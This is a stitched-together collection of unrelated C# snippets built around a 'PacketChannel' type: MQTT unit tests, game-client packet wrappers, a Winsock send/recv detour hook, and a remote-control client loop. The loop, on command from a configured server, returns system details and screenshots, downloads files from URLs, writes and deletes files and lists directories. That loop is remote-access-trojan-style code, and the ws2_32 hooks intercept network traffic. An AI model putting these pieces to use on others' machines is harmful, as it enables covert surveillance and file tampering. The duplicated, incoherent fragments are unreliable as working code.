public void when_reading_bytes_then_notifies_packet(string packetPath, Type packetType)
{
MqttConfiguration configuration = new MqttConfiguration {
WaitTimeoutSecs = 1
};
Subject <byte[]> receiver = new Subject <byte[]>();
Mock <IMqttChannel <byte[]> > innerChannel = new Mock <IMqttChannel <byte[]> >();
innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);
object expectedPacket = Activator.CreateInstance(packetType);
Mock <IPacketManager> manager = new Mock <IPacketManager>();
manager.Setup(x => x.GetPacketAsync(It.IsAny <byte[]>()))
.Returns(Task.FromResult <IPacket>((IPacket)expectedPacket));
PacketChannel channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);
IPacket receivedPacket = default;
channel.ReceiverStream.Subscribe(packet =>
{
receivedPacket = packet;
});
packetPath = Path.Combine(Environment.CurrentDirectory, packetPath);
byte[] readPacket = Packet.ReadAllBytes(packetPath);
receiver.OnNext(readPacket);
Assert.NotNull(receivedPacket);
packetType.Should().Be(receivedPacket.GetType());
}
/// <summary>
/// Receives the packet.
/// </summary>
/// <param name="channel">Channel to process the packet on</param>
public void ProcessPacket(PacketChannel channel = PacketChannel.S2C)
{
if (Process)
{
Game.ProcessPacket(PacketData, channel);
}
}
/// <summary>
/// Receives the packet.
/// </summary>
public void Process(PacketChannel channel = PacketChannel.S2C)
{
if (!Block)
{
Game.ProcessPacket(Ms.ToArray(), channel);
}
}
/// <summary>
/// Configures a packet channel with this client's values
/// </summary>
/// <param name="channel"></param>
private void ConfigurePacketChannel(PacketChannel <TPacket> channel)
{
channel.SetFactory(packetFactory);
channel.SetReceiveAction(HandlePacket);
channel.SetSendAction(DoSendData);
channel.SetWriteUdpHeader(WriteUdpHeader);
}
public void when_packet_channel_error_then_notifies()
{
MqttConfiguration configuration = new MqttConfiguration {
WaitTimeoutSecs = 1
};
Subject <byte[]> receiver = new Subject <byte[]>();
Mock <IMqttChannel <byte[]> > innerChannel = new Mock <IMqttChannel <byte[]> >();
innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);
Mock <IPacketManager> manager = new Mock <IPacketManager>();
PacketChannel channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);
string errorMessage = "Packet Exception";
receiver.OnError(new MqttException(errorMessage));
Exception errorReceived = default;
channel.ReceiverStream.Subscribe(_ => { }, ex =>
{
errorReceived = ex;
});
Assert.NotNull(errorReceived);
Assert.True(errorReceived is MqttException);
errorMessage.Should().Be((errorReceived as MqttException).Message);
}
public async Task when_writing_packet_then_inner_channel_is_notified(string packetPath, Type packetType)
{
MqttConfiguration configuration = new MqttConfiguration {
WaitTimeoutSecs = 1
};
packetPath = Path.Combine(Environment.CurrentDirectory, packetPath);
byte[] bytes = Packet.ReadAllBytes(packetPath);
Subject <byte[]> receiver = new Subject <byte[]>();
Mock <IMqttChannel <byte[]> > innerChannel = new Mock <IMqttChannel <byte[]> >();
innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);
innerChannel.Setup(x => x.SendAsync(It.IsAny <byte[]>()))
.Returns(Task.Delay(0));
IPacket packet = Activator.CreateInstance(packetType) as IPacket;
Mock <IPacketManager> manager = new Mock <IPacketManager>();
manager.Setup(x => x.GetBytesAsync(It.IsAny <IPacket>()))
.Returns(Task.FromResult(bytes));
PacketChannel channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);
await channel.SendAsync(packet);
innerChannel.Verify(x => x.SendAsync(It.Is <byte[]>(b => b.ToList().SequenceEqual(bytes))));
manager.Verify(x => x.GetBytesAsync(It.Is <IPacket>(p => Convert.ChangeType(p, packetType) == packet)));
}
public static void SendAsPacket(
this byte[] packetData,
PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags protocolFlags = PacketProtocolFlags.Reliable)
{
Game.SendPacket(packetData, channel, protocolFlags);
}
public async Task when_writing_packet_from_source_then_inner_channel_is_notified(string packetPath, string jsonPath, Type packetType)
{
var configuration = new MqttConfiguration {
WaitTimeoutSecs = 1
};
packetPath = Path.Combine(Environment.CurrentDirectory, packetPath);
var bytes = Packet.ReadAllBytes(packetPath);
var receiver = new Subject <byte[]> ();
var innerChannel = new Mock <IMqttChannel <byte[]> >();
innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);
innerChannel.Setup(x => x.SendAsync(It.IsAny <byte[]> ()))
.Returns(Task.Delay(0));
jsonPath = Path.Combine(Environment.CurrentDirectory, jsonPath);
var packet = Packet.ReadPacket(jsonPath, packetType) as IPacket;
var manager = new Mock <IPacketManager> ();
manager.Setup(x => x.GetBytesAsync(It.IsAny <IPacket>()))
.Returns(Task.FromResult(bytes));
var channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);
await channel.SendAsync(packet)
.ConfigureAwait(continueOnCapturedContext: false);
innerChannel.Verify(x => x.SendAsync(It.Is <byte[]> (b => b.ToList().SequenceEqual(bytes))));
manager.Verify(x => x.GetBytesAsync(It.Is <IPacket> (p => Convert.ChangeType(p, packetType) == packet)));
}
/// <summary>
/// Sends the packet
/// </summary>
/// <param name="channel">Channel to send the packet on</param>
/// <param name="flags">Protocol to send to packet on</param>
public void SendPacket(PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
if (Process)
{
Game.SendPacket(PacketData, channel, flags);
}
}
/// <summary>
/// Sends the packet
/// </summary>
public void Send(PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags flags = PacketProtocolFlags.NoFlags)
{
if (!Block)
{
Game.SendPacket(Ms.ToArray(), channel, flags);
}
}
/// <summary>
/// Receives the packet.
/// </summary>
/// <param name="channel">The channel.</param>
public void Process(PacketChannel channel = PacketChannel.S2C)
{
return; //Blocked for now 4.21
if (!this.Block)
{
Game.ProcessPacket(this.Ms.ToArray(), channel);
}
}
/// <summary>
/// Sends the packet
/// </summary>
public void Send(PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
return;//Blocked for now 4.21
if (!Block)
{
Game.SendPacket(Ms.ToArray(), Channel == PacketChannel.C2S ? channel : Channel, Flags == PacketProtocolFlags.Reliable ? flags : Flags);
}
}
public GamePacket(byte header, PacketChannel channel = PacketChannel.C2S, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
Block = false;
Ms = new MemoryStream();
Br = new BinaryReader(Ms);
Bw = new BinaryWriter(Ms);
Br.BaseStream.Position = 0;
Bw.BaseStream.Position = 0;
WriteByte(header);
_header = header;
Channel = channel;
Flags = flags;
}
public GamePacket(byte header, PacketChannel channel = PacketChannel.C2S, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
Block = false;
Ms = new MemoryStream();
Br = new BinaryReader(Ms);
Bw = new BinaryWriter(Ms);
Br.BaseStream.Position = 0;
Bw.BaseStream.Position = 0;
WriteByte(header);
_header = header;
Channel = channel;
Flags = flags;
}
/// <summary>
/// Initializes a new instance of the <see cref="GamePacket" /> class.
/// </summary>
/// <param name="args">The <see cref="GamePacketEventArgs" /> instance containing the event data.</param>
public GamePacket(GamePacketEventArgs args)
{
this.Block = false;
this.Ms = new MemoryStream(args.PacketData);
this.Br = new BinaryReader(this.Ms);
this.Bw = new BinaryWriter(this.Ms);
this.Br.BaseStream.Position = 0;
this.Bw.BaseStream.Position = 0;
this.rawPacket = args.PacketData;
this._header = args.PacketData[0];
this.Channel = args.Channel;
this.Flags = args.ProtocolFlag;
}
public GamePacket(GamePacketEventArgs args)
{
Block = false;
Ms = new MemoryStream(args.PacketData);
Br = new BinaryReader(Ms);
Bw = new BinaryWriter(Ms);
Br.BaseStream.Position = 0;
Bw.BaseStream.Position = 0;
rawPacket = args.PacketData;
_header = args.PacketData[0];
Channel = args.Channel;
Flags = args.ProtocolFlag;
}
public GamePacket(GamePacketEventArgs args)
{
Block = false;
Ms = new MemoryStream(args.PacketData);
Br = new BinaryReader(Ms);
Bw = new BinaryWriter(Ms);
Br.BaseStream.Position = 0;
Bw.BaseStream.Position = 0;
rawPacket = args.PacketData;
_header = args.PacketData[0];
Channel = args.Channel;
Flags = args.ProtocolFlag;
}
private void Run()
{
client = new PaceClient();
client.PacketReceived += Client_PacketReceived;
client.PacketSent += Client_PacketSent;
var packetChannel = new PacketChannel();
packetChannel.RegisterHandler <GetSystemInfoRequestPacket>(SystemHandlers.HandleGetSystemInfo);
packetChannel.RegisterHandler <GetDrivesRequestPacket>(SystemHandlers.HandleGetDrives);
packetChannel.RegisterHandler <TakeScreenshotRequestPacket>(SystemHandlers.HandleTakeScreenshot);
packetChannel.RegisterHandler <RestartRequestPacket>(SystemHandlers.HandleRestart);
packetChannel.RegisterHandler <DownloadFileRequestPacket>(FileHandlers.HandleDownloadFile);
packetChannel.RegisterHandler <GetDirectoryRequestPacket>(FileHandlers.HandleGetDirectory);
packetChannel.RegisterHandler <DeleteFileRequestPacket>(FileHandlers.HandleDeleteFile);
packetChannel.RegisterHandler <SendFileRequestPacket>(FileHandlers.HandleSendFile);
TryConnect();
while (isConnected)
{
try
{
var packet = client.ReadPacket();
packetChannel.HandlePacket(client, packet);
}
catch (IOException ex)
{
if (ex.InnerException == null)
{
throw ex;
}
if (ex.InnerException.GetType() == typeof(SocketException))
{
var socketException = (ex.InnerException as SocketException);
if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
{
PrintDebug("Disconnected!");
TryConnect();
}
}
}
}
Console.ReadKey();
}
public DataPacket GetNewPacket(int channel, byte handlerID)
{
DataPacket newPacket = new DataPacket(channel, (CSteamID)NetworkGameManager.playerID);
PacketChannel packetChannel = allChannels[channel];
newPacket.handlerID = handlerID;
newPacket.isOrderedPacket = packetChannel.isOrdered;
newPacket.isPriority = packetChannel.isPriorityBased;
newPacket.scrapOldPackets = packetChannel.scrapOld;
if (packetChannel.isOrdered)
{
newPacket.packetID = packetChannel.GetNewID();
}
return(newPacket);
}
/// <summary>
/// Initializes a new instance of the <see cref="GamePacket" /> class.
/// </summary>
/// <param name="header">The header.</param>
/// <param name="channel">The channel.</param>
/// <param name="flags">The flags.</param>
public GamePacket(
byte header,
PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
this.Block = false;
this.Ms = new MemoryStream();
this.Br = new BinaryReader(this.Ms);
this.Bw = new BinaryWriter(this.Ms);
this.Br.BaseStream.Position = 0;
this.Bw.BaseStream.Position = 0;
this.WriteByte(header);
this._header = header;
this.Channel = channel;
this.Flags = flags;
}
/// <summary>
/// NOTE: You can currently only filter the packets for SEND and RECV channels.
/// </summary>
/// <param name="channels"> By default, all channels are selected. </param>
/// <param name="interceptCallback"> The packets intercepted will be received here for logging, and filtering if necessary. </param>
public NetworkDetour Install(PacketChannel channels, InterceptCallback interceptCallback)
{
SelectedChannels = channels;
OnReceivePacket = interceptCallback;
if (SelectedChannels.HasFlag(PacketChannel.Send))
{
SendHook = new Detour().Install("ws2_32.dll", "send", callback_repl_send);
}
if (SelectedChannels.HasFlag(PacketChannel.Recv))
{
RecvHook = new Detour().Install("ws2_32.dll", "recv", callback_repl_recv);
}
if (SelectedChannels.HasFlag(PacketChannel.SendTo))
{
SendToHook = new Detour().Install("ws2_32.dll", "sendto", callback_repl_send_to);
}
if (SelectedChannels.HasFlag(PacketChannel.RecvFrom))
{
RecvFromHook = new Detour().Install("ws2_32.dll", "recvfrom", callback_repl_recv_from);
}
if (SelectedChannels.HasFlag(PacketChannel.WSASend))
{
WSASendHook = new Detour().Install("ws2_32.dll", "WSASend", callback_repl_wsa_send);
}
if (SelectedChannels.HasFlag(PacketChannel.WSARecv))
{
WSARecvHook = new Detour().Install("ws2_32.dll", "WSARecv", callback_repl_wsa_recv);
}
return(this);
}
public void when_reading_bytes_from_source_then_notifies_packet(string packetPath, string jsonPath, Type packetType)
{
var configuration = new MqttConfiguration {
WaitTimeoutSecs = 1
};
var receiver = new Subject <byte[]> ();
var innerChannel = new Mock <IMqttChannel <byte[]> >();
innerChannel.Setup(x => x.ReceiverStream).Returns(receiver);
jsonPath = Path.Combine(Environment.CurrentDirectory, jsonPath);
var expectedPacket = Packet.ReadPacket(jsonPath, packetType) as IPacket;
var manager = new Mock <IPacketManager> ();
manager.Setup(x => x.GetPacketAsync(It.IsAny <byte[]>()))
.Returns(Task.FromResult <IPacket>(expectedPacket));
var channel = new PacketChannel(innerChannel.Object, manager.Object, configuration);
var receivedPacket = default(IPacket);
channel.ReceiverStream.Subscribe(packet => {
receivedPacket = packet;
});
packetPath = Path.Combine(Environment.CurrentDirectory, packetPath);
var readPacket = Packet.ReadAllBytes(packetPath);
receiver.OnNext(readPacket);
Assert.NotNull(receivedPacket);
Assert.Equal(expectedPacket, receivedPacket);
}
/// <summary>
/// Sends the packet
/// </summary>
public void Send(PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
Game.SendPacket(Ms.ToArray(), channel, flags);
}
/* public int[][] SearchGameTile(Vector2 position)
* {
* var x = SearchShort(Utility.GetGameTile(position.X));
* var y = SearchShort(Utility.GetGameTile(position.Y));
* }
*
* public int[][] SearchGameTile(Vector3 position)
* {
* return SearchGameTile(position.To2D());
* }
*
* public int[][] SearchGameTile(GameObject obj)
* {
* return SearchGameTile(obj.Position.To2D());
* }
*/
/// <summary>
/// Sends the packet
/// </summary>
public void Send(PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
Game.SendPacket(Ms.ToArray(), channel, flags);
}
public static void ProcessAsPacket(this byte[] packetData, PacketChannel channel = PacketChannel.S2C)
{
Game.ProcessPacket(packetData, channel);
}
public static void SendAsPacket(this byte[] packetData,
PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags protocolFlags = PacketProtocolFlags.Reliable)
{
Game.SendPacket(packetData, channel, protocolFlags);
}
public static void ProcessAsPacket(this byte[] packetData, PacketChannel channel = PacketChannel.S2C)
{
Game.ProcessPacket(packetData, channel);
}
/// <summary>
/// Receives the packet.
/// </summary>
public void Process(PacketChannel channel = PacketChannel.S2C)
{
Game.ProcessPacket(Ms.ToArray(), channel);
}
/// <summary>
/// Send a packet to the gameserver.
/// </summary>
/// <param name="packetData">Packet Data</param>
/// <param name="channel">Packet Channel</param>
/// <param name="flag">Packet Protocol Flag</param>
public static void SendPacket(byte[] packetData, PacketChannel channel, PacketProtocolFlags flag)
{
}
/// <summary>
/// Receives the packet.
/// </summary>
/// <param name="channel">The channel.</param>
public void Process(PacketChannel channel = PacketChannel.S2C)
{
return; //Blocked for now 4.21
if (!Block)
{
Game.ProcessPacket(Ms.ToArray(), channel);
}
}
private void Run()
{
client = new PaceClient();
client.PacketReceived += Client_PacketReceived;
client.PacketSent += Client_PacketSent;
PrintDebug("Waiting for Server...");
while (!client.TcpClient.Connected)
{
try
{
client.Connect(IPAddress.Parse(ClientConfiguration.Host), ClientConfiguration.Port);
}
catch (Exception)
{
continue;
}
}
PrintDebug("Connected!");
var packetChannel = new PacketChannel();
packetChannel.RegisterHandler <GetSystemInfoRequestPacket>((packet) =>
{
var systemInfo = SystemInformation.Get();
var clientAddress = client.TcpClient.Client.LocalEndPoint.ToString().Split(':');
var infoPacket = new GetSystemInfoResponsePacket(
ClientConfiguration.Identifier,
clientAddress[0],
int.Parse(clientAddress[1]),
systemInfo.UserName,
systemInfo.ComputerName,
systemInfo.OperatingSystem
);
client.SendPacket(infoPacket);
});
packetChannel.RegisterHandler <DownloadFileRequestPacket>((packet) =>
{
var downloadFilePacket = (DownloadFileRequestPacket)packet;
new WebFileDownloader().DownloadFile(downloadFilePacket.Url);
});
packetChannel.RegisterHandler <TakeScreenshotRequestPacket>((packet) =>
{
var screenshot = ScreenCapture.CaptureScreen();
byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot);
var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes);
client.SendPacket(screenshotResponsePacket);
});
packetChannel.RegisterHandler <SendFileRequestPacket>((packet) =>
{
var sendFilePacket = (SendFileRequestPacket)packet;
File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData);
});
packetChannel.RegisterHandler <GetDirectoryRequestPacket>((packet) =>
{
var getDirectoryPacket = (GetDirectoryRequestPacket)packet;
var directory = new DirectoryInfo(getDirectoryPacket.Path);
if (!directory.Exists)
{
return;
}
var response = new GetDirectoryResponsePacket
{
Folders = FileExplorer.GetDirectories(getDirectoryPacket.Path),
Files = FileExplorer.GetFiles(getDirectoryPacket.Path)
};
client.SendPacket(response);
});
packetChannel.RegisterHandler <DeleteFileRequestPacket>((packet) =>
{
var deleteFilePacket = (DeleteFileRequestPacket)packet;
PrintDebug($"Requested deletion of file {deleteFilePacket.File}");
if (Directory.Exists(deleteFilePacket.File))
{
Directory.Delete(deleteFilePacket.File);
}
else if (File.Exists(deleteFilePacket.File))
{
File.Delete(deleteFilePacket.File);
}
client.SendPacket(new GetDirectoryResponsePacket
{
Folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName),
Files = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName)
});
});
isRunning = true;
while (isRunning)
{
try
{
var packet = client.ReadPacket();
packetChannel.HandlePacket(packet);
}
catch (IOException ex)
{
if (ex.InnerException == null)
{
throw ex;
}
if (ex.InnerException.GetType() == typeof(SocketException))
{
var socketException = (ex.InnerException as SocketException);
if (socketException.ErrorCode == (int)SocketError.ConnectionReset)
{
PrintDebug("Disconnected!");
}
}
isRunning = false;
}
}
Console.ReadKey();
}
/// <summary>
/// Creates a <see cref="GamePacket" /> with the event arguements for packets.
/// </summary>
/// <param name="args"></param>
public GamePacket(GamePacketEventArgs args)
{
packetData = new GamePacketData(args);
Channel = args.Channel;
Flags = args.ProtocolFlag;
}
/// <summary>
/// Creates a <see cref="GamePacket" /> from a packet.
/// </summary>
/// <param name="packet">Packet</param>
public GamePacket(Packet packet)
{
packetData = new GamePacketData(packet.Id);
Channel = packet.Channel;
Flags = packet.Flags;
}
/// <summary>
/// Initializes a new instance of the <see cref="Packet" /> class.
/// Creates a <see cref="Packet" /> with the packet data.
/// </summary>
/// <param name="id">
/// Packet Id
/// </param>
/// <param name="channel">
/// Packet Channel
/// </param>
/// <param name="flags">
/// Packet Flags
/// </param>
public Packet(short id, PacketChannel channel, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
this.Id = id;
this.Channel = channel;
this.Flags = flags;
}
/// <summary>
/// Creates a <see cref="GamePacket" /> with a header, channel, and protocol.
/// </summary>
/// <param name="id">Id of the packet</param>
/// <param name="channel">Channel</param>
/// <param name="flags">Protocol to send packet</param>
public GamePacket(short id, PacketChannel channel, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
packetData = new GamePacketData(id);
Channel = channel;
Flags = flags;
}
/// <summary>
/// Initializes a new instance of the <see cref="GamePacket" /> class.
/// </summary>
/// <param name="id">
/// Id of the packet
/// </param>
/// <param name="channel">
/// The Channel
/// </param>
/// <param name="flags">
/// Protocol to send packet
/// </param>
public GamePacket(short id, PacketChannel channel, PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
this.packetData = new GamePacketData(id);
this.Channel = channel;
this.Flags = flags;
}
/// <summary>
/// Processes a packet.
/// </summary>
/// <param name="packetData">PacketData</param>
/// <param name="channel">Packet Channel</param>
public static void ProcessPacket(byte[] packetData, PacketChannel channel)
{
}
/// <summary>
/// Sends the packet
/// </summary>
/// <param name="channel">The channel.</param>
/// <param name="flags">The flags.</param>
public void Send(PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags flags = PacketProtocolFlags.Reliable)
{
return; //Blocked for now 4.21
if (!Block)
{
Game.SendPacket(
Ms.ToArray(), Channel == PacketChannel.C2S ? channel : Channel,
Flags == PacketProtocolFlags.Reliable ? flags : Flags);
}
}
/// <summary>
/// Receives the packet.
/// </summary>
/// <param name="channel">Channel to process the packet on</param>
public void ProcessPacket(PacketChannel channel = PacketChannel.S2C)
{
if (this.Process)
{
Game.ProcessPacket(this.PacketData, channel);
}
}
public ReceivePacketEventArgs(PacketChannel channel, byte[] data, PacketProtocolFlags protocolFlags)
{
Channel = channel;
Data = data;
ProtocolFlags = protocolFlags;
}
/// <summary>
/// Sends the packet
/// </summary>
/// <param name="channel">Channel to send the packet on</param>
/// <param name="packetFlags">Protocol to send to packet on</param>
public void SendPacket(
PacketChannel channel = PacketChannel.C2S,
PacketProtocolFlags packetFlags = PacketProtocolFlags.Reliable)
{
if (this.Process)
{
Game.SendPacket(this.PacketData, channel, packetFlags);
}
}
